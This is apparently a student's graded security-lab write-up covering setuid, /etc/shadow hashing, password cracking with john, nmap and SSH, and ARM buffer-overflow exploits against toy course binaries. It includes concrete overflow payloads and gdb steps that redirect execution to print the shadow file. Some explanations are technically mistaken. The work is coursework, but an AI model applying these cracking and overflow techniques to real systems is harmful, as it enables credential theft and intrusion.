Assignment 1: *setiud.sh*

The output for both users looks as follows for `echo Foo | /tmp/submit`:

Main User	Foo User
rid=1000, eid=1000	rid=1001, eid=1000
rid=1000, eid=1000	rid=1001, eid=1001

The rid is the real uid. This is the ID of the user who started the program. The eid is the effective uid. This is the uid that is used to evaluate requests. Since we have difference user, the real uid of the program changes. The effective uid is the same for the first time since it needs to evaluate the permissions for the new user by calling it with the user who created this process. The second time, the new user evaluates it himself and therefore, the effective uid is changed.

The output for both users looks as follows for `ls -l /tmp/db`:

Main User	Foo User
-rw-r--r-- 1 AaronPi AaronPi 4 Oct 8 03:29 1000	ls: cannot open directory '/tmp/db': Permission denied
-rw-r--r-- 1 AaronPi AaronPi 4 Oct 8 03:30 1001	

The difference here is quite obvious for me. The new user cannot open the directory since it was created by a different user. This is caused by the `chmod 700` and the `chmod +s` command. These ensure that only the user that created the directory can access it. This is also represented by the `setuid` flag that only allows specific (groups of) users access to files.

Assignment 2: *setuid programs*

There are 23 programs that use the `setuid` permission on the raspberry pi. I have used the command `find / -perm -4000 2>/dev/null` found on the slides. A small breakdown shows that it goes over all files (directory = '/') find those with the permissions set to 4000 (setuid flag). The output then looks as follows:

```
/usr/sbin/mount.cifs
/usr/sbin/pppd
/usr/sbin/mount.nfs
/usr/bin/ntfs-3g
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/mount
/usr/bin/Xvnc
/usr/bin/vncserver-x11
/usr/bin/umount
/usr/bin/ping
```

```
/usr/bin/passwd
/usr/bin/fusermount3
/usr/bin/chfn
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/aarch64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/tmp/submit
```

Counting these results in 22 files that use the `setuid` flag.

Assignment 3: *setuid on vfat*

The ubs stick is not part of the system, and is therefore not known with the users of the system. Since the `setuid` flag is based on the users/groups on a system, it will fail on the usb stick since it is merely a device to store files and is not linked to any user.

Assignment 4: *Shadow*

According to some research, the `/etc/shadow` file stores the hashes of the password chosen by users. Exposing this to all users has the huge security risk that these hashes can be stolen by whomever is logged on. With these hashes, the password can be cracked easily. The attacker can either compare the hash to other known hashes or use a brute force attack on his local system. Since this omits the brute force protection (hopefully) setup by the system, the password can be cracked in peace.

Assignment 5: *Hash algorithm*

to figure out the hash, I looked at the manual page of the `crypt` module. This module is responsible for hashing the passwords for storage in the system database. I could not find exactly what hash method was used, since it was never mentioned explicitly, however, based on the manual page of `crypt(5)`, my guess is that the Pi uses the YeScript. this guess is based on the fact that this is recommended for newer systems, and that the pi that I am running is using one of the newer 64 bit operating systems. According to the manual page, the CPU time cost per parameter is 1 to 11 (logarithmic).

Based on the source code, the hashing algorithm either runs 5 times or 9999999 times.

```
    /* Enforce sane "rounds" values */
    if (on(UNIX_ALGO_ROUNDS, ctrl)) {
        if (on(UNIX_GOST_YESCRYPT_PASS, ctrl) ||
            on(UNIX_YESCRYPT_PASS, ctrl)) {
            if (*rounds < 3 || *rounds > 11)
                *rounds = 5;
        } else if (on(UNIX_BLOWFISH_PASS, ctrl)) {
            if (*rounds < 4 || *rounds > 31)
                *rounds = 5;
        } else if (on(UNIX_SHA256_PASS, ctrl) || on(UNIX_SHA512_PASS,
ctrl)) {
            if ((*rounds < 1000) || (*rounds == INT_MAX)) {
                /* don't care about bogus values */
                *rounds = 0;
                unset(UNIX_ALGO_ROUNDS, ctrl);
            } else if (*rounds >= 10000000) {
                *rounds = 9999999;
            }
        }
    }
```

Assignment 6: *salts*

According to the manual page of the `crypt` module, salt is a random combination of characters that is added to the hash of a password. This means that even when the phrase is the same, two hashes will never be the same. This improves security massively since this means that a hash cannot be linked to a specific password. By doing this, it prevents that one can compute a ton of hashes once and simply compare a hash with his/her database and figure out the password easily.

I could not find anything that explained how often an algorithm needs to be invoked to solve the salted hash.

Assignment 7: *john*

I installed `john` using the command `sudo apt-get install john -y` and cracked the password using the command `john -show passwd-old.txt`. This resulted in the following output:

```
pi:12345:1000:1000:,,,:/home/pi:/bin/bash
1 password hash cracked, 0 left
```

From this output, we read that the password is '12345' since we also know that the password is only 5 digits.

Assignment 8: *Iteration count*

The iteration count needs to be changed from '1 on 11' to '2 to 11' on the logarithmic scale.

Assignment 9: *Jumbo*

I used this guide on installing jumbo on my own operating system (MacOs). It also explained how to do this for the linux systems.

I ran the command `../run/john --subsets=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789 --length=5 ../../../Download/passwd-new.txt` . The output looks as follows:

```
(base) aaron@Aarons-MBP src % ../run/john --
subsets=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789 --
length=5 ../../../Download/passwd-new.txt
Warning: detected hash type "sha512crypt", but the string is also
recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as
that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIMD
2x])
Cost 1 (iteration count) is 5000 for all loaded hashes

Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for
status
0g 0:00:00:03 0.00% (5) (ETA: 2022-10-28 06:21) 0g/s 1069p/s   1069c/s
1069C/s     scscc..QeQQQ
0g 0:00:19:55 0.14% (5) (ETA: 2022-11-03 09:50) 0g/s 996.6p/s  996.6c/s
996.6C/s    eKxex..CyeCy
0g 0:00:27:36 0.19% (5) (ETA: 2022-11-03 11:23) 0g/s 991.3p/s  991.3c/s
991.3C/s    z2zgz..UAggg
0g 0:00:36:18 0.26% (5) (ETA: 2022-11-03 08:36) 0g/s 1003p/s   1003c/s
1003C/s     6jq6j..jrrrP
0g 0:00:52:54 0.36% (5) (ETA: 2022-11-03 23:06) 0g/s 945.6p/s  945.6c/s
945.6C/s    4nn4S..2UUnn
0g 0:00:52:59 0.36% (5) (ETA: 2022-11-03 23:10) 0g/s 945.4p/s  945.4c/s
945.4C/s    2nUUn..nnnW4
0g 0:00:57:42 0.38% (5) (ETA: 2022-11-04 02:06) 0g/s 934.6p/s  934.6c/s
934.6C/s    ppAAB..4AA4p
0g 0:00:58:47 0.39% (5) (ETA: 2022-11-04 02:41) 0g/s 932.4p/s  932.4c/s
932.4C/s    pp1MM..8N8pN
0g 0:00:58:52 0.39% (5) (ETA: 2022-11-04 02:44) 0g/s 932.2p/s  932.2c/s
932.2C/s    8N8Np..pPVVp
0g 0:01:01:39 0.41% (5) (ETA: 2022-11-04 04:15) 0g/s 926.6p/s  926.6c/s
926.6C/s    LLq66..NPNNq
0g 0:01:08:57 0.45% (5) (ETA: 2022-11-04 07:35) 0g/s 914.6p/s  914.6c/s
914.6C/s    t9ttD..Et77E
0g 0:01:16:17 0.49% (5) (ETA: 2022-11-04 10:29) 0g/s 904.5p/s  904.5c/s
904.5C/s    JJJwV..wKwwY
0g 0:01:27:04 0.55% (5) (ETA: 2022-11-04 13:53) 0g/s 892.9p/s  892.9c/s
892.9C/s    QCCCK..VCVLL
0g 0:02:01:57 0.75% (5) (ETA: 2022-11-04 20:57) 0g/s 869.8p/s  869.8c/s
869.8C/s    maadB..amSda
```

As can be seen, at the moment of writing, the program has not finished. I expected it to take longer, but since the old password took about 1 second, I did not expect this time. I believe that the program will eventually return the correct password. I will show this during the interview.

Assignment 10: *nmap*

Looking at the nmap from the raspberry pi, I found that only the ssh-port was open.

```
(base) aaron@Aarons-MBP ~ % nmap 10.10.10.218
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-24 16:41 CEST
Nmap scan report for blueberry.iot (10.10.10.218)
Host is up (0.0050s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 1.20 seconds
```

this is not surprising seeing ssh is being used to connect to the pi. Therefore, this ports needs to be open.

When trying to retrieve the header of this port, I get the following:

```
(base) aaron@Aarons-MBP ~ % nc 10.10.10.218 22
SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u1

Invalid SSH identification string.
```

This makes sense to me since the ssh is a secure protocol that requires a password. Since this is never provided, it simply will not respond to the request since it is not sure if this can be trusted.

Assignment 11: *SSH public key authentication*

A number of arguments were required to achieve this:

- The first command needed was `ssh-keygen`. This created the public-private key pair that is used to establish the connection
- The second command needed was `ssh-copy-id AaronPi@blueberry.local`. This copied the public key to the raspberry pi.
- The final command needed was `ssh-add ~/.ssh/id_rsa`. This command added the public key to a secure key chain to prevent the fact that i had to fill in the password for the key every time.

After these command, I was able to log in easily to the pi.

```
(base) aaron@Aarons-MacBook-Pro .ssh % ssh AaronPi@blueberry.local
Linux blueberry 5.15.61-v8+ #1579 SMP PREEMPT Fri Aug 26 11:16:44 BST 2022
aarch64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Oct 20 13:38:36 2022 from 192.168.2.1

AaronPi@blueberry:~ $
```

Assignment 12: *Password protected SSH keys*

The addition of a password protects that someone can edit your ssh key. This protects the fact that, when someone get's access to your private key, they also have access to the devices linked with the public key.

Assignment 13: *Hardware tokens*

A hardware token would be close to the ideal protection. It ensures that only your hardware (laptop, desktop, etc.) can connect trough ssh to linked devices. This means that you do not have a password that can be cracked/guessed, but an attacker has to get access to your hardware. This is easier to protect from attacks than a password, and therefore increases security.

ARM Exploitation

Assignment 14: *ProcessLayout reloaded*

Looking at the process layout, we see the following:

```
Address           Kbytes     RSS   Dirty Mode  Mapping
0000005555550000       4       4       0 r-x-- ProcessLayout
0000005555561000       4       4       4 r---- ProcessLayout
0000005555562000       4       4       4 rw--- ProcessLayout
0000005555563000    3204       4       4 rw---   [ anon ]
0000007ff6611000       4       0       0 -----   [ anon ]
0000007ff6612000    8192       8       8 rw---   [ anon ]
0000007ff6e12000       4       0       0 -----   [ anon ]
0000007ff6e13000    8192       8       8 rw---   [ anon ]
0000007ff7613000       4       0       0 -----   [ anon ]
0000007ff7614000    8192       8       8 rw---   [ anon ]
0000007ff7e14000    1396     944       0 r-x-- libc-2.31.so
0000007ff7f71000      60       0       0 ----- libc-2.31.so
0000007ff7f80000      16      16      16 r---- libc-2.31.so
0000007ff7f84000       8       8       8 rw--- libc-2.31.so
0000007ff7f86000      12      12      12 rw---   [ anon ]
0000007ff7f89000     112      92       0 r-x-- libpthread-2.31.so
0000007ff7fa5000      60       0       0 ----- libpthread-2.31.so
0000007ff7fb4000       4       4       4 r---- libpthread-2.31.so
0000007ff7fb5000       4       4       4 rw--- libpthread-2.31.so
0000007ff7fb6000      16       4       4 rw---   [ anon ]
0000007ff7fcc000     136     136       0 r-x-- ld-2.31.so
0000007ff7ff6000      16       8       8 rw---   [ anon ]
0000007ff7ffa000       8       0       0 r----   [ anon ]
0000007ff7ffc000       4       4       0 r-x--   [ anon ]
0000007ff7ffd000       4       4       4 r---- ld-2.31.so
0000007ff7ffe000       8       8       8 rw--- ld-2.31.so
0000007ffffdf000     132      12      12 rw---   [ stack ]
---------------- ------- ------- -------
```

```
total kB            29800    1296     116
```

Especially the 'mode' column is important since it shows us the permission of the addresses in the process.

The permissions for the stack are both read and write but not executable. This makes sense. The process needs to be able to see what is on the stack (read), and add new items to the stack (write). It is not executable. This is to prevent the stack from executing again. Doing this would create a massive load ont he processor (since all instructions are executed at the same time) whereas only one instruction at the time needs to be called.

Assignment 15: *ASLR*

ASLR, or Address space layout randomization, is a computer security technique that prevents against memory corruption vulnerabilities. This is done by randomizing the address space positions of key data, including the address of the executables and the heap, stack and libraries.

After running `./ProcessLayout` a few times, it was obvious that the address stayed the same whereas when ASLR was turned off, this was not the case. This confirms that the address are not randomly assigned anymore.

Turning ASLR off was done by changing the contents of the file `/proc/sys/kernel/randomize_va_space` from 1 to 0. This disables the ASLR in a way that also survives a reboot of the pi. Turning it back on later on would mean changing the contents back to 1.

Assignment 16: *Lottery*

The manual page of the `gets` function told me that this function is not safe to use. The manual pages states the following:

```
gets()  reads a line from stdin into the buffer pointed to by s until
either a terminating newline or EOF, which it replaces with a null byte
('\0').  No check for buffer overrun is performed (see BUGS below).
```

From this, I gathered that this function is susceptible to buffer overflow attacks. The program defines a buffer with size 20. Overflowing this buffer would corrupt the stack frame that contains this data, and sets the value of won to not 0. This happens seeing the characters that are longer than the buffer size are overflowing and are written to the next address, the won address. This means that won is no longer zero and becomes positive. Trying this indeed proved fruitful:

```
case 1: name is 20 characters long
AaronPi@blueberry:~/AssignmentFiles $ ./Lottery
Enter your name:
abcdefghijklmnopqrst
Sorry abcdefghijklmnopqrst, you did not win the lottery!
-----------------------------------------------------------------
case 2: name is 21 characters long
```

```
AaronPi@blueberry:~/AssignmentFiles $ ./Lottery
Enter your name:
abcdefghijklmnopqrstu
Congratulations abcdefghijklmnopqrstu, you won the lottery!
```

Assignment 18: *Stack protector*

Recompiling using this flag did protect the program from the previous exploit. The same name can sadly not be used again to win:

```
AaronPi@blueberry:~/AssignmentFiles $ ./LotteryProtected
Enter your name:
abcdefghijklmnopqrstu
Sorry abcdefghijklmnopqrst, you did not win the lottery!
```

Looking at the flag, I found the following: it adds a guard variable onto the stack. This variable is checked to ensure that the address has not been overwritten. If the variable is overwritten, it indicates that the buffer has been overwritten as well. If this is the case, the run-time is alerted. By doing this, the program is protected against this exploit.

Assignment 18: *Attack1*

To find the address of the secret function, I set a breakpoint within `main` on `readline()`. At this point, the program has compiled and the address are assigned to the different functions. At this breakpoint, I run `disassemble secret` to find the mapped address. This resulted in the address: `0x0000005555550804`.

The terminal output looked like:

```
(gdb) break readLine
Breakpoint 1 at 0x5555550848: file Attack1-simple.c, line 16.
(gdb) run
Starting program: /home/AaronPi/AssignmentFiles/Attack1 -bt

Breakpoint 1, readLine () at Attack1-simple.c:16
16      return readStdin();
(gdb) disassemble secret
Dump of assembler code for function secret:
   0x0000005555550804 <+0>: stp x29, x30, [sp, #-16]!
   0x0000005555550808 <+4>: mov x29, sp
   0x000000555555080c <+8>: adrp    x0, 0x5555550000
   0x0000005555550810 <+12>:    add x0, x0, #0x920
   0x0000005555550814 <+16>:    bl  0x55555506a0 <system@plt>
   0x0000005555550818 <+20>:    nop
   0x000000555555081c <+24>:    ldp x29, x30, [sp], #16
   0x0000005555550820 <+28>:    ret
End of assembler dump.
(gdb)
```

Assignment 19: *Attack1 return pointer*

The stack pointer has been moved 56 addresses. To overwrite the return pointer to the `secret` function. There is already an offset of 24 (`0x18`), so we only have to move 32 addresses before the override. After we are at the address, we have to overwrite the current address that is stored there with the function call to the `secret` function.

Assignment 20: *Attack 1 exploit*

As stated in the previous assignment, we have to override the address 32 addresses away. To achieve this, we need to overflow the buffer. This will be 32 characters plus the address that is required. This is done with the least significant bit first. The input then looks as follows: `abcdefghijklmnopqrstuvwxyz123456\x04\x08\x55\x55\x55`. This input is written to a file called 'Exploit1'. We can then use gdb to run the file with this input with the command: `run < Exploit1`. This indeed prints the output of the shadow file to the terminal. However, since the frame pointer is corrupt, it continues printing this until the program is manually stopped.

Assignment 21: *Attack 1 with your own code*

My assumption is that the code would still run. It seems that the only difference is the address that is being ran, and is not linked to the specific function. Therefore, if you implement your own code, and apply the same strategy as we did before, it will execute. To test this assumption, I have added my own function. The only goal of this function is to print 'Hey I did it' to the terminal.

Running the program indeed printed the expected output to the terminal. The new input to the program was `abcdefghijklmnopqrstuvwxyz123456\x04\x08\x55\x55\x55`. Only the address changed to the new function.

Assignment 22: *Attack1 with stack canaries*

Since the flag is used on the compiling of the program, the input does not work anymore. The flag ensures that a guard variable is added to all addresses to prevent overwriting. Since our exploit is based on the overwriting of an address, the guard variable will be overwritten as well. It will return this fact to the run-time and this will prevent the exploit from happening.

Assignment 23: *Attack2 exploit*

In the loop, there is a total of 64 bytes between the stack pointer and the address of the table. We want to overwrite the address of the table with the address of secret, so that when an update is called to the table, secret is called instead. Running Attack2 using gdb, and disassembling the loop and the secret gives us the following:

```
Loop function
   0x0000000000000914 <+0>: stp x29, x30, [sp, #-32]!
   0x0000000000000918 <+4>: mov x29, sp
   0x000000000000091c <+8>: str wzr, [sp, #24]
   0x0000000000000920 <+12>:    str wzr, [sp, #28]
   0x0000000000000924 <+16>:    ldr w0, [sp, #24]
   0x0000000000000928 <+20>:    ldr w1, [sp, #28]
   0x000000000000092c <+24>:    mov w2, w1
   0x0000000000000930 <+28>:    mov w1, w0
   0x0000000000000934 <+32>:    adrp    x0, 0x0
   0x0000000000000938 <+36>:    add x0, x0, #0xa48
   0x000000000000093c <+40>:    bl  0x730 <printf@plt>
   0x0000000000000940 <+44>:    add x0, sp, #0x18
   0x0000000000000944 <+48>:    bl  0x874 <update>
   0x0000000000000948 <+52>:    b   0x924 <loop+16>
```

```
Secret function
0x0000000000000854 <+0>:       stp  x29, x30, [sp, #-16]!
0x0000000000000858 <+4>:       mov  x29, sp
0x000000000000085c <+8>:       adrp x0, 0x0
0x0000000000000860 <+12>:   add x0, x0, #0xa10
0x0000000000000864 <+16>:   bl  0x6e0 <system@plt>
0x0000000000000868 <+20>:   nop
0x000000000000086c <+24>:   ldp x29, x30, [sp], #16
0x0000000000000870 <+28>:   ret
```

To call the secret function from the `loop` function, the address that calls the `loop` at the end should be changed to the address of the `secret` function. This is a difference of 244 bytes:

```
print 0x0000000000000948 - 0x0000000000000854
$1 = 244
```

Therefore, the address should be set back 244 bytes, using the input for the amount of votes when the stack pointer is to the table. Since the table is an integer, this means that with a difference of 64 bytes, we have 16 integers difference (divide by 4). This means we have to access the table at position -16. However, since we are already subtracting -1, the value of candidate should be -15. That leaves us with the input: candidate = -15, and votes=-244.

When doing this, we indeed see that the contents of secret are being print out to the terminal.

Assignment 24: *Attack2 with stack canaries exploit*

The flag only protects the overwriting of a variable. This is not done in this exploit. We only move the stack pointer using to point at a different address. This is not protected by the flag.

Using the same methods as in the previous exploit, I found that the stack pointer is moved differently in `attack2-protected` binary. Instead of moving 64 bytes on the stack pointer, it is only moved 56 bytes.

```
First line update:
   0x0000000000001360 <+0>: stp x29, x30, [sp, #-48]! (so 40, since last 8
bytes are used for the return address)
```

```
Loop segment
   0x0000000000001474 <+64>:    add x0, sp, #0x10 (+16)
```

This results in an integer value of 14. Since the -1 is already included in the source code, this means that the lecture only needs to be -13. Looking at the addresses, there is a difference of 368 between them.

```
Loop address:     0x000000000000147c
Secret address:   0x000000000000130c

print 0x000000000000147c - 0x000000000000130c
$1 = 368
```

This means that we need to subtract 368 when asked for the votes. Doing this resulted in the contents of the `shadow` file being printed out.

This confirms the theory that this flag does not protect against this exploit.

Assignment 25: *ASLR enabled*

The following exploits were considered:

Exploit	No ASLR - Work without flag	No ASLR - Work with Flag	With ASLR - Work without flag	With ASLR - Work with Flag
Lottery	Yes	No	Yes	No
Attack 1	Yes	No	Yes	No^1
Attack 2	Yes	Yes	Yes	Yes

^{1} Stack smashing was detected